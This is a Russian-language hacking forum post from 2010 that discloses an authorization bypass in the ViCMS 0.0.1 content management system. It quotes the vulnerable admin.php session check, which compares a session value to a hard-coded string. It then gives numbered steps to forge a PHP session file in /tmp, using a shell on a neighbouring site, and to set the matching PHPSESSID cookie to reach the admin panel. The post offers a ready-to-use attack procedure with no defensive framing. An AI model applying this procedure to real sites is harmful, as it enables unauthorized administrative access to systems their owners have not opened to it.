Показать сообщение отдельно

  #414  
Старый 05.07.2010, 15:52
.:[melkiy]:.
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
С нами: 9100556

Репутация: 912
По умолчанию

Product: ViCMS

Version: 0.0.1

Download: www.sourceforge.net/projects/cmscolvi/

Authorization bypass

Need: шелл на соседнем сайте; доступ на запись в /tmp

file: admin.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]session_start[/COLOR][COLOR="#007700"]();

if(!isset([/
COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'logged_in'[/COLOR][COLOR="#007700"]])){

[/
COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Location: ./login.php'[/COLOR][COLOR="#007700"]);

exit;

}

if([/
COLOR][COLOR="#0000BB"]$_SESSION[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'logged_in'[/COLOR][COLOR="#007700"]] !=[/COLOR][COLOR="#DD0000"]'bormental'[/COLOR][COLOR="#007700"]){

[/
COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Location: ./login.php'[/COLOR][COLOR="#007700"]);

exit;

}


[/COLOR][/COLOR
result:

1. Создаём сессию

Имя: sess_8bf6d5e1d9eec3a8436704f883068ebf

Содержание: logged_in|s:9:"bormental";

2. Сохраняем в /tmp

3. В куки пишем: PHPSESSID=8bf6d5e1d9eec3a8436704f883068ebf

4. Заходим http://[host]/admin.php
 
Ответить с цитированием